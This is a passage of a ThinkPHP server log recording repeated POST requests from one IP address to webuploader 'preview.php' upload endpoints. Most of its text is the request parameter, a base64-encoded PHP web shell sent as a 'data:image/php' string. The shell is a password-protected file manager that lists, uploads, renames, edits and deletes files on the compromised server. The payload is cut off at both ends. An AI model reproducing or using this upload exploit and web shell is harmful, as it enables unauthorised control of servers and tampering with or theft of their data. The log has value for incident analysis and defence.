CAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:03+08:00 ] 119.42.146.234 POST 59.110.137.245/includes/webuploader/0.1.5/server/preview.php [运行时间:0.002625s] [吞吐率:380.95req/s] [内存消耗:180.74kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'includes', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIG' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:06+08:00 ] 119.42.146.234 POST 59.110.137.245/web/static//webuploader/0.1.5/server/preview.php [运行时间:0.002658s] [吞吐率:376.24req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGV